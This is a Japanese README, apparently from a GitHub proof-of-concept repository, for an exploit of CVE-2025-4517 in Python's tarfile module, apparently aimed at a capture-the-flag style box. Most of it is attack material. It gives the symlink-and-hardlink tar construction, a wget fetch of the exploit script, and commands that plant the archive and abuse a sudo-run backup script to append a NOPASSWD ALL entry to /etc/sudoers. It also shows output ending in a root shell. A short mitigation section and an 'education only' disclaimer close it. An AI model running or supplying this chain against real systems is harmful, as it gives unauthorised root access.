
このエクスプロイトと説明はAIによって作成されています。誤りや問題を見つけた場合は、お知らせください!このエクスプロイトはテスト済みで動作確認済みです。ありがとうございます!
このエクスプロイトは、CVE-2025-4517、Pythonのtarfileモジュールの重大な脆弱性を利用します。この脆弱性により、シンボリックリンクのパストラバーサルとハードリンク操作の組み合わせによって任意のファイル書き込みが可能になります。これにより、Python 3.12で導入されたfilter="data"保護がバイパスされます。
この脆弱性は、Pythonのtarfile.extractall()が以下の相互作用を処理する際の欠陥を悪用します。
filter="data"パラメータは直接的なシンボリックリンクエスケープをブロックするが、ハードリンク手法はこの保護を回避する1. 深いネストされたディレクトリを作成(パス混乱)
└─ 247文字のディレクトリ名を16レベル繰り返し使用
2. トラバーサル用のシンボリックリンクチェーンを構築
└─ ディレクトリツリーを上方向に解決するシンボリックリンクを作成
3. ターゲットディレクトリ(/etc)へのエスケープシンボリックリンク
└─ 最終的なシンボリックリンクは抽出境界外を指す
4. エスケープシンボリックリンクを経由するハードリンクを作成
└─ ハードリンク: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. ハードリンクに内容を書き込む
└─ "sudoers_link" への書き込みは実際には /etc/sudoers に書き込まれる
スクリプト: /opt/backup_clients/restore_backup_clients.py
# Vulnerable code snippet
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Sudo権限:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/ への書き込みアクセス# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system
# Run the exploit
./exploit.py
# Or with Python
python3 exploit.py
各ステップを手動で実行したい場合:
# 1. Create the exploit tar
python3 exploit.py --create-only
# 2. Deploy to target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Execute via vulnerable script
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Verify sudoers modification
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Get root
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================
[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers を変更 python3 --version # Check version
# Check for suspicious members before extraction
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("Symlinks/hardlinks not allowed")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Path traversal detected")
# Remove or restrict backup script sudo access
visudo
# Check tar contents before extraction
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers などの重要なファイルを監視 # Setup AIDE or similar IDS
aide --check
このエクスプロイトは教育目的のみで提供されており、以下の用途での使用を意図しています:
著作者は、このコードの誤用に対する一切の責任を負いません。
オリジナル研究: 複数のセキュリティ研究者(参考文献参照)
MITライセンス - 詳細はLICENSEファイルを参照
最終更新日: 2026年3月